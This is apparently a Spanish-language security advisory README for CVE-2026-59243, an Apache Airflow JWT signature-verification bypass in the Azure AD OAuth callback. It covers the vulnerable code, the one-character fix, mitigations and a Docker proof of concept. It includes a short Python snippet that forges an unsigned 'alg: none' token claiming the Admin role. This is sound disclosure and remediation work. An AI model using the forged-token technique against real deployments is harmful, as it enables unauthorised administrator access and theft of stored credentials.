CVE-2026-59243: Bypass de firma JWT en Apache Airflow FAB Auth Manager

Versión en coreano: README.ko.md

Aviso oficial (Apache, publicado el 2026-07-29): https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-59243 Corregido en: apache-airflow-providers-fab==3.7.3

Metadatos

• CVE: CVE-2026-59243
• CVSS 3.1: 8.1 High, AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• CWE-347: Verificación incorrecta de la firma criptográfica
• Afectados: Apache Airflow, Auth Manager de providers/fab (ruta OAuth de Azure AD)
• Impacto: un atacante pre-autenticación forja cualquier identidad JWT y entra como Admin
• Reportado por: MalHyuk, https://github.com/MalHyuk

La corrección llegó a upstream el 2026-07-07 (commit 54259ae, PR #69374) y se distribuyó en apache-airflow-providers-fab==3.7.3 el 2026-07-28. El aviso de Apache se publicó el 2026-07-29; Apache clasificó la gravedad como moderada.

TL;DR

El callback de OAuth de Azure AD del FAB Auth Manager decodifica el id_token con verify_signature=False por defecto. Si consigues poner un JWT delante de ese callback (MITM, abuso de redirección, lo que sea), puedes darle la identidad que quieras, incluida la de Admin. La ruta de Authentik en el mismo archivo usa True por defecto, que es lo que primero me hizo sospechar que el valor por defecto de Azure no era intencionado. Upstream lo cambió a True con un cambio de un solo carácter.

Cronología

Seguimiento del CNA de Apache: https://cveprocess.apache.org/cve5/CVE-2026-59243 Aviso en la lista de correo de Apache: https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl

Qué fue lo que realmente falló

Archivo: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py

Los números de línea cambiaron un poco entre el informe original y el main actual debido a refactorizaciones no relacionadas, pero es el mismo archivo.

El código vulnerable es corto:

# override.py:2331 at report time
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
    verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
        "verify_signature", False,  # <- default False, this is the bug
    )
    if verify_signature:
        # ... proper JWK signature verification with authlib
        return claims

    # default path: no signature check at all
    return jwt.decode(id_token, options={"verify_signature": False})

Destacan dos cosas. Primero, el valor por defecto es False, por lo que cualquiera que use la integración con Azure sin establecer explícitamente verify_signature: true en client_kwargs no obtiene verificación de firma. Segundo, la ruta de respaldo simplemente entrega el token a jwt.decode con la verificación de firma desactivada. No es un fallo en modo abierto (fail open) por una clave ausente o una descarga de JWKS rota. Es un paso directo intencionado que confía en lo que el llamador haya suministrado.

A modo de contraste, esta es la ruta de Authentik en el mismo archivo:

# override.py:414 at report time — Authentik
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
    "verify_signature", True,  # default True
)

Misma forma, valor por defecto opuesto. Es difícil interpretarlo como otra cosa que no sea un descuido.

Cadena de ataque

Supongamos que Airflow está desplegado con FAB Auth Manager y OAuth de Azure AD, sin anular verify_signature en client_kwargs (la configuración por defecto).

Forja un JWT con alg: none, los claims que quieras y la firma vacía:

import base64, json

def b64u(x): return base64.urlsafe_b64encode(json.dumps(x).encode()).rstrip(b"=").decode()

header  = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
    "sub":   "[email protected]",
    "email": "[email protected]",
    "name":  "Administrator",
    "roles": ["Admin"],
    "iss":   "https://login.microsoftonline.com/<tenant>/v2.0",
    "aud":   "<airflow-client-id>",
    "exp":   9999999999,
})
forged = f"{header}.{payload}."   # trailing dot: empty signature

Haz llegar ese token al callback (/login/azure/authorized o donde esté montada la integración). La entrega es la parte complicada en la práctica: necesitas una posición MITM, un flujo de redirección que puedas explotar o un fallo auxiliar que te permita inyectar el token. Una vez que llega allí, FAB llama a _decode_and_validate_azure_jwt, cae en la ruta por defecto y devuelve los claims tal cual. A partir de ahí eres Admin, y Admin en Airflow significa Connections, Variables, la clave Fernet y ejecución arbitraria de tareas como worker.

Notas sobre CVSS

He puntuado esto como 8.1 High con AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. La complejidad es High porque entregar el JWT no es trivial en todos los despliegues. El impacto es total cuando consigues llevarlo a cabo. Es posible que Apache lo puntúe de forma distinta en el aviso; no pasa nada.

Corrección

Un solo carácter. Ya está en main y ya se ha publicado:

- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)

Integrada como 54259ae en el PR #69374 el 2026-07-07. Publicada en apache-airflow-providers-fab==3.7.3 el 2026-07-28.

Si alguien necesita de verdad ejecutar sin verificación de firma (por ejemplo, JWKS autofirmado en una réplica on-prem), aún puede activarlo estableciendo explícitamente verify_signature: false en client_kwargs. Eso es mucho mejor que tener una configuración insegura por defecto.

Para quienes no puedan actualizar de inmediato, configúralo explícitamente en webserver_config.py:

OAUTH_PROVIDERS = [
    {
        "name": "azure",
        "client_kwargs": {"verify_signature": True, ...},
        # ...
    },
]

También merece la pena: callbacks de OAuth solo por HTTPS con lista blanca estricta de redirect_uri, y rotar las Connections de Airflow si crees que podrías haber sido afectado.

Reproducción

El PoC en Docker está en poc/:

• poc/server.py reproduce la ruta vulnerable jwt.decode(..., options={"verify_signature": False}) en una pequeña aplicación Flask.
• poc/exploit_airflow_jwt.py usa pwntools para forjar el token, golpear el callback, llegar a la vista de administrador y volcar "secretos" de relleno.
• poc/Dockerfile y poc/docker-compose.yml levantan el objetivo en 127.0.0.1:5002 para que no pueda filtrarse a la LAN.

Un solo comando:

cd poc/
./run.sh

El docker-compose.yml se vincula a loopback. Si insistes en ejecutarlo en una máquina compartida, edítalo antes.

Estructura

CVE-2026-59243/
├── README.md              this file (EN)
├── README.ko.md           Korean version
├── LICENSE                MIT + defensive-use notice
├── check_advisory.sh      cron-driven publication watcher
├── patch/fix.diff         the one-character fix, anchored at report-time line 2332
└── poc/                   Docker + pwntools reproduction

Créditos y contacto

Reportado por MalHyuk. Puedes contactarlo en https://github.com/MalHyuk.

Por parte de Apache: [email protected] para el informe inicial; el seguimiento de julio lo gestionó un miembro del PMC de Airflow.

Licencia

MIT, consulta LICENSE. El PoC es para fines de demostración y trabajo defensivo contra sistemas que poseas o para los que tengas autorización por escrito para probar.